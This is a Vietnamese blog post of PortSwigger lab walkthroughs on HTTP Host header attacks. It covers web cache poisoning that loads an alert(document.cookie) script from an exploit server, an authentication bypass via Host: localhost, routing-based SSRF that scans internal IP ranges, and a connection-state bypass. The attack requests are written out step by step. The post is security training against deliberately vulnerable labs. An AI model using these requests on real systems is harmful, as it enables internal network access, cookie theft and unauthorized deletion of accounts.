Lab: Web cache poisoning via ambiguous requests

Mô tả

Phòng thí nghiệm này dễ bị nhiễm độc bộ nhớ đệm web do sự khác biệt trong cách bộ nhớ đệm và ứng dụng backend xử lý các yêu cầu mơ hồ. Một người dùng không nghi ngờ thường xuyên truy cập trang chủ của trang web.

Để giải quyết phòng thí nghiệm, hãy đầu độc bộ nhớ cache để trang chủ thực thi alert(document.cookie) trong trình duyệt của nạn nhân.

Giải quyết

Trong trình duyệt của Burp, mở phòng thí nghiệm và nhấp vào Trang chủ để làm mới trang chủ.
Trong Proxy > Lịch sử HTTP, nhấp chuột phải vào GET / yêu cầu và chọn Gửi đến Bộ lặp.
Trong Repeater, hãy nghiên cứu hành vi của phòng thí nghiệm. Lưu ý rằng trang web xác thực tiêu đề Máy chủ. Nếu bạn sửa đổi tiêu đề Máy chủ, bạn không thể truy cập trang chủ nữa.
Trong phản hồi ban đầu, hãy lưu ý các tiêu đề bộ nhớ đệm chi tiết, cho bạn biết khi nào bạn nhận được một lần truy cập bộ nhớ đệm và thời gian của phản hồi được lưu trong bộ nhớ đệm. Thêm một tham số truy vấn tùy ý vào các yêu cầu của bạn để đóng vai trò là bộ thu bộ nhớ đệm, ví dụ: GET /?cb=123. Bạn có thể thay đổi tham số này mỗi khi bạn muốn có phản hồi mới từ máy chủ back-end.
Lưu ý rằng nếu bạn thêm tiêu đề Host thứ hai với một giá trị tùy ý, điều này dường như bị bỏ qua khi xác thực và định tuyến yêu cầu của bạn.

Điều quan trọng, hãy lưu ý rằng giá trị tùy ý của tiêu đề Host thứ hai của bạn được phản ánh trong một URL tuyệt đối được sử dụng để nhập tập lệnh từ /resources/js/tracking.js.
Xóa tiêu đề Host thứ hai và gửi lại yêu cầu bằng cách sử dụng cùng một bộ nhớ cache. Lưu ý rằng bạn vẫn nhận được cùng một phản hồi được lưu trong bộ nhớ đệm chứa giá trị được chèn của bạn.
Truy cập máy chủ khai thác và tạo một tệp tại /resources/js/tracking.js chứa alert(document.cookie) Lưu trữ khai thác và sao chép tên miền cho máy chủ khai thác của bạn.
Quay lại Burp Repeater, thêm tiêu đề Host thứ hai chứa tên miền máy chủ khai thác của bạn. Yêu cầu sẽ trông giống như sau:
1
2
3
GET /?cb=123 HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net
Gửi yêu cầu một vài lần cho đến khi bạn nhận được truy cập bộ nhớ cache với URL máy chủ khai thác của bạn được phản ánh trong phản hồi. Để mô phỏng nạn nhân, hãy yêu cầu trang trong trình duyệt bằng cách sử dụng cùng một bộ nhớ cache trong URL. Đảm bảo rằng alert() kích hoạt.
Phòng thí nghiệm được giải quyết khi nạn nhân truy cập trang chủ.

9.3 Exploiting classic server-side vulnerabilities

Khai thác các lỗ hổng phía máy chủ cổ điển

Mỗi tiêu đề HTTP là một vectơ tiềm năng để khai thác các lỗ hổng phía máy chủ cổ điển và tiêu đề Máy chủ cũng không ngoại lệ. Ví dụ: bạn nên thử các kỹ thuật thăm dò SQL injection thông thường thông qua tiêu đề Host. Nếu giá trị của tiêu đề được chuyển vào một câu lệnh SQL, điều này có thể được khai thác.

Truy cập chức năng bị hạn chế

Vì những lý do khá rõ ràng, các trang web thường hạn chế quyền truy cập vào một số chức năng nhất định chỉ cho người dùng nội bộ. Tuy nhiên, các tính năng kiểm soát truy cập của một số trang web đưa ra các giả định sai sót cho phép bạn vượt qua các hạn chế này bằng cách thực hiện các sửa đổi đơn giản đối với tiêu đề Máy chủ. Điều này có thể làm lộ bề mặt tấn công tăng lên cho các khai thác khác.

9.3.1 Lab: Host header authentication bypass

Phòng thí nghiệm này đưa ra giả định về mức đặc quyền của người dùng dựa trên tiêu đề HTTP Host.

Để giải quyết phòng thí nghiệm, hãy truy cập bảng quản trị và xóa carlos

Gửi GET / yêu cầu đã nhận được 200 phản hồi đến Burp Repeater. Lưu ý rằng Khi request bao gồm cả Cookie bạn có thể thay đổi tiêu đề Host thành một giá trị tùy ý và vẫn truy cập thành công trang chủ.
Duyệt đến /robots.txt và quan sát thấy có một bảng quản trị tại /admin.
Hãy thử và duyệt đến /admin. Bạn không có quyền truy cập, nhưng lưu ý thông báo lỗi, tiết lộ rằng người dùng cục bộ có thể truy cập bảng điều khiển.
Trong Burp Repeater, thay đổi tiêu đề Host thành localhost và gửi yêu cầu. Quan sát rằng bây giờ bạn đã truy cập thành công bảng quản trị, cung cấp tùy chọn xóa những người dùng khác nhau.

Thay đổi dòng yêu cầu thành và GET /admin/delete?username=carlos gửi yêu cầu xóa carlos để giải bài lab.

Truy cập các trang web nội bộ với máy chủ ảo brute-force

Các công ty đôi khi mắc sai lầm khi lưu trữ các trang web có thể truy cập công khai và các trang web nội bộ, riêng tư trên cùng một máy chủ. Máy chủ thường có cả địa chỉ IP công cộng và riêng tư. Vì tên máy chủ nội bộ có thể phân giải thành địa chỉ IP riêng, kịch bản này không phải lúc nào cũng có thể được phát hiện chỉ bằng cách nhìn vào các bản ghi DNS:

1 2	`www.example.com: 12.34.56.78 intranet.example.com: 10.0.0.132`

Trong một số trường hợp, trang web nội bộ thậm chí có thể không có bản ghi DNS công khai được liên kết với nó. Tuy nhiên, kẻ tấn công thường có thể truy cập bất kỳ máy chủ ảo nào trên bất kỳ máy chủ nào mà chúng có quyền truy cập, miễn là chúng có thể đoán tên máy chủ. Nếu họ đã phát hiện ra một tên miền ẩn thông qua các phương tiện khác, chẳng hạn như tiết lộ thông tin, họ có thể chỉ cần yêu cầu điều này trực tiếp. Nếu không, họ có thể sử dụng các công cụ như Burp Intruder để sử dụng các máy chủ ảo bằng cách sử dụng một danh sách đơn giản các tên miền phụ ứng cử viên.

Routing-based SSRF - SSRF dựa trên định tuyến

Đôi khi cũng có thể sử dụng tiêu đề Máy chủ để khởi chạy các cuộc tấn công SSRF dựa trên định tuyến, có tác động cao. Chúng đôi khi được gọi là “Tấn công SSRF tiêu đề máy chủ” và được nghiên cứu chuyên sâu bởi Nghiên cứu PortSwigger trong Cracking the lens: targeting HTTP’s hidden attack-surface.

Các lỗ hổng SSRF cổ điển thường dựa trên XXE hoặc logic kinh doanh có thể khai thác gửi yêu cầu HTTP đến URL có nguồn gốc từ đầu vào có thể kiểm soát được của người dùng. Mặt khác, SSRF dựa trên định tuyến dựa trên việc khai thác các thành phần trung gian phổ biến trong nhiều kiến trúc dựa trên đám mây. Điều này bao gồm cân bằng tải nội bộ và proxy ngược.

Mặc dù các thành phần này được triển khai cho các mục đích khác nhau, nhưng về cơ bản, chúng nhận được yêu cầu và chuyển tiếp chúng đến back-end thích hợp. Nếu chúng được cấu hình không an toàn để chuyển tiếp các yêu cầu dựa trên tiêu đề Host chưa được xác thực, chúng có thể bị thao túng thành các yêu cầu định tuyến sai đến một hệ thống tùy ý do kẻ tấn công lựa chọn.

Những hệ thống này tạo ra những mục tiêu tuyệt vời. Họ ngồi ở một vị trí mạng đặc quyền cho phép họ nhận các yêu cầu trực tiếp từ web công cộng, đồng thời có quyền truy cập vào nhiều, nếu không muốn nói là tất cả, mạng nội bộ. Điều này làm cho tiêu đề Host trở thành một vectơ mạnh mẽ cho các cuộc tấn công SSRF, có khả năng chuyển đổi một cân bằng tải đơn giản thành một cổng vào toàn bộ mạng nội bộ.

Bạn có thể sử dụng Burp Collaborator để giúp xác định các lỗ hổng này. Nếu bạn cung cấp tên miền của máy chủ Cộng tác viên của mình trong tiêu đề Máy chủ và sau đó nhận được tra cứu DNS từ máy chủ đích hoặc một hệ thống trong đường dẫn khác, điều này cho thấy rằng bạn có thể định tuyến các yêu cầu đến các miền tùy ý.

Sau khi xác nhận rằng bạn có thể thao tác thành công một hệ thống trung gian để định tuyến các yêu cầu của bạn đến một máy chủ công cộng tùy ý, bước tiếp theo là xem liệu bạn có thể khai thác hành vi này để truy cập vào các hệ thống chỉ nội bộ hay không. Để thực hiện việc này, bạn sẽ cần xác định các địa chỉ IP riêng đang được sử dụng trên mạng nội bộ của mục tiêu. Ngoài bất kỳ địa chỉ IP nào bị rò rỉ bởi ứng dụng, bạn cũng có thể quét tên máy chủ thuộc về công ty để xem có địa chỉ IP riêng nào không. Nếu vẫn thất bại, bạn vẫn có thể xác định địa chỉ IP hợp lệ bằng cách chỉ cần áp dụng các dải IP riêng tiêu chuẩn, chẳng hạn như 192.168.0.0/16.

Ký hiệu CIDR
Phạm vi địa chỉ IP thường được thể hiện bằng ký hiệu CIDR, ví dụ: 192.168.0.0/16.
Địa chỉ IPv4 bao gồm bốn giá trị thập phân 8 bit được gọi là “octets”, mỗi giá trị được phân tách bằng một dấu chấm. Giá trị của mỗi octet có thể nằm trong khoảng từ 0 đến 255, có nghĩa là địa chỉ IPv4 thấp nhất có thể sẽ là 0.0.0.0 và cao nhất là 255.255.255.255.
Trong ký hiệu CIDR, địa chỉ IP thấp nhất trong phạm vi được viết rõ ràng, theo sau là một số khác cho biết có bao nhiêu bit từ đầu của địa chỉ nhất định được cố định cho toàn bộ phạm vi. Ví dụ: 10.0.0.0/8 chỉ ra rằng 8 bit đầu tiên là cố định (octet đầu tiên). Nói cách khác, phạm vi này bao gồm tất cả các địa chỉ IP từ 10.0.0.0 đến 10.255.255.255.

9.3.2 Lab: Routing-based SSRF

Phòng thí nghiệm này dễ bị tổn thương bởi SSRF dựa trên định tuyến thông qua tiêu đề Máy chủ. Bạn có thể khai thác điều này để truy cập bảng quản trị mạng nội bộ không an toàn nằm trên địa chỉ IP nội bộ.

Để giải quyết phòng thí nghiệm, hãy truy cập bảng quản trị nội bộ nằm trong phạm vi 192.168.0.0 / 24, sau đó xóa carlos

Gửi GET / yêu cầu đã nhận được 200 phản hồi đến Burp Repeater.
Trong Burp Repeater, chọn giá trị tiêu đề Host, nhấp chuột phải và chọn Insert Collaborator payload để thay thế nó bằng tên miền Collaborator. Gửi yêu cầu.
Chuyển đến tab Collaborator và nhấp vào Poll now. Bạn sẽ thấy một vài tương tác mạng trong bảng, bao gồm cả yêu cầu HTTP. Điều này xác nhận rằng bạn có thể thực hiện các yêu cầu phát hành phần mềm trung gian của trang web đến một máy chủ tùy ý.
Gửi yêu cầu GET / đến Burp Intruder.
Go to Intruder.
Bỏ chọn Update Host header to match target
Xóa giá trị của tiêu đề Máy chủ và thay thế nó bằng địa chỉ IP sau, thêm vị trí tải trọng vào octet cuối cùng:
1
Host: 192.168.0.§0§
Trong bảng điều khiển bên Payloads, chọn loại Numbers. Trong Payload configuration, hãy nhập các giá trị sau:
1
2
3
From: 0 To: 255 Step: 1
Nhấp vào Bắt đầu tấn công. Một cảnh báo sẽ thông báo cho bạn rằng tiêu đề Máy chủ không khớp với máy chủ đích được chỉ định. Vì chúng tôi đã cố ý làm điều này, bạn có thể bỏ qua thông điệp này.
Khi cuộc tấn công kết thúc, hãy nhấp vào cột Trạng thái để sắp xếp kết quả. Lưu ý rằng một yêu cầu duy nhất đã nhận được phản hồi 302 chuyển hướng bạn đến /admin. Gửi yêu cầu này đến Burp Repeater.
Trong Burp Repeater, thay đổi dòng yêu cầu thành GET /admin và gửi yêu cầu. Trong phản hồi, hãy quan sát rằng bạn đã truy cập thành công bảng quản trị.
Nghiên cứu biểu mẫu xóa người dùng. Lưu ý rằng nó sẽ tạo một yêu cầu POST đến /admin/delete với cả mã thông báo CSRF và tham số tên người dùng. Bạn cần tạo thủ công một yêu cầu tương đương để xóa carlos.
1
GET /admin/delete?csrf=QCT5OmPeAAPnyTKyETt29LszLL7CbPop&username=carlos

9.3.3 Lab: SSRF via flawed request parsing

Mô tả

Phòng thí nghiệm này dễ bị tổn thương bởi SSRF dựa trên định tuyến do phân tích cú pháp sai sót của máy chủ dự định của yêu cầu. Bạn có thể khai thác điều này để truy cập bảng quản trị mạng nội bộ không an toàn nằm tại địa chỉ IP nội bộ.

Để giải quyết phòng thí nghiệm, hãy truy cập bảng quản trị nội bộ nằm trong phạm vi 192.168.0.0 / 24, sau đó xóa người dùng carlos.

Giải quyết

Gửi GET / yêu cầu nhận được 200 phản hồi cho Burp Repeater và nghiên cứu hành vi của phòng thí nghiệm. Quan sát xem trang web xác thực tiêu đề Máy chủ và chặn bất kỳ yêu cầu nào mà nó đã được sửa đổi.
Sử dụng Burp Collaborator để xác nhận rằng bạn có thể thực hiện yêu cầu phát hành phần mềm trung gian của trang web đến một máy chủ tùy ý theo cách này. Ví dụ: yêu cầu sau đây sẽ kích hoạt yêu cầu HTTP đến máy chủ Cộng tác viên của bạn:
1
2
GET https://YOUR-LAB-ID.web-security-academy.net/ Host: BURP-COLLABORATOR-SUBDOMAIN
Đi tới Intruder và bỏ chọn Cập nhật tiêu đề Máy chủ để khớp mục tiêu.
Sử dụng tiêu đề Máy chủ để quét dải IP 192.168.0.0 / 24 để xác định địa chỉ IP của giao diện quản trị. Gửi yêu cầu này đến Burp Repeater.
Trong Burp Repeater, thêm /admin vào URL tuyệt đối trong dòng yêu cầu và gửi yêu cầu. Quan sát rằng bây giờ bạn có quyền truy cập vào bảng điều khiển quản trị, bao gồm một biểu mẫu để xóa người dùng.
Thay đổi URL tuyệt đối trong yêu cầu của bạn để trỏ đến /admin/delete. Sao chép mã thông báo CSRF từ phản hồi được hiển thị và thêm nó làm tham số truy vấn vào yêu cầu của bạn. Đồng thời thêm tham số tên người dùng có chứa carlos. Dòng yêu cầu bây giờ sẽ trông như thế này nhưng với một token CSRF khác:
Gửi yêu cầu xóa carlos và giải quyết phòng thí nghiệm.

9.4 Connection state attacks

Vì lý do hiệu suất, nhiều trang web sử dụng lại kết nối cho nhiều chu kỳ yêu cầu/phản hồi với cùng một máy khách. Các máy chủ HTTP được triển khai kém đôi khi hoạt động dựa trên giả định nguy hiểm rằng một số thuộc tính nhất định, chẳng hạn như tiêu đề Host, giống hệt nhau cho tất cả các yêu cầu HTTP/1.1 được gửi qua cùng một kết nối. Điều này có thể đúng với các yêu cầu được gửi bởi trình duyệt, nhưng không nhất thiết phải đúng với một chuỗi các yêu cầu được gửi từ Burp Repeater. Điều này có thể dẫn đến một số vấn đề tiềm ẩn.

Ví dụ: đôi khi bạn có thể gặp phải các máy chủ chỉ thực hiện xác thực kỹ lưỡng đối với yêu cầu đầu tiên mà chúng nhận được qua một kết nối mới. Trong trường hợp này, bạn có thể bỏ qua xác thực này bằng cách gửi một yêu cầu ban đầu có vẻ vô tội, sau đó theo dõi yêu cầu độc hại của bạn trên cùng một kết nối.

9.4.1 Lab: Host validation bypass via connection state attack

Mô tả

Phòng thí nghiệm này dễ bị tổn thương bởi SSRF dựa trên định tuyến thông qua tiêu đề Máy chủ. Mặc dù máy chủ front-end ban đầu có thể thực hiện xác thực mạnh mẽ của tiêu đề Host, nhưng nó đưa ra giả định về tất cả các yêu cầu trên kết nối dựa trên yêu cầu đầu tiên mà nó nhận được.

Để giải quyết phòng thí nghiệm, hãy khai thác hành vi này để truy cập vào bảng quản trị nội bộ đặt tại 192.168.0.1/admin, sau đó xóa người dùng carlos.

Giải quyết

Phòng thí nghiệm này dựa trên các lỗ hổng trong thế giới thực được phát hiện bởi PortSwigger Research. Để biết thêm chi tiết, hãy xem Browser-Powered Desync Attacks: A New Frontier in HTTP Request Smuggling.

Gửi GET / yêu cầu đến Burp Repeater.
Thực hiện các điều chỉnh sau:
1. Thay đổi đường dẫn thành /admin.
2. Thay đổi tiêu đề Host thành 192.168.0.1.
Gửi yêu cầu. Quan sát thấy rằng bạn chỉ đơn giản là được chuyển hướng đến trang chủ.
Nhân đôi tab, sau đó thêm cả hai tab vào nhóm mới.
Chọn tab đầu tiên và thực hiện các điều chỉnh sau:
1. Thay đổi đường dẫn trở lại /.
2. Thay đổi tiêu đề Host lại . YOUR-LAB-ID.h1-web-security-academy.net
Sử dụng menu thả xuống bên cạnh nút Gửi, thay đổi chế độ Send group in sequence (single connection).
Thay đổi tiêu đề Connection thành keep-alive.
Gửi trình tự và kiểm tra phản hồi. Quan sát rằng yêu cầu thứ hai đã truy cập thành công bảng quản trị.

Trên tab thứ hai trong nhóm của bạn, hãy sử dụng các chi tiết này để sao chép yêu cầu sẽ được đưa ra khi gửi biểu mẫu. Kết quả sẽ trông giống như thế này

POST /admin/delete HTTP/1.1
Host: 192.168.0.1
Cookie: _lab=YOUR-LAB-COOKIE; session=YOUR-SESSION-COOKIE
Content-Type: x-www-form-urlencoded
Content-Length: CORRECT

csrf=YOUR-CSRF-TOKEN&username=carlos

Gửi các yêu cầu theo trình tự xuống một kết nối duy nhất để giải quyết bài tập

PortSwigger

#host-header #web

HTTP Host header attacks

https://blog.namng.space/HTTP-Host-header-attacks/

Author

John Doe

Posted on

May 19, 2025

Licensed under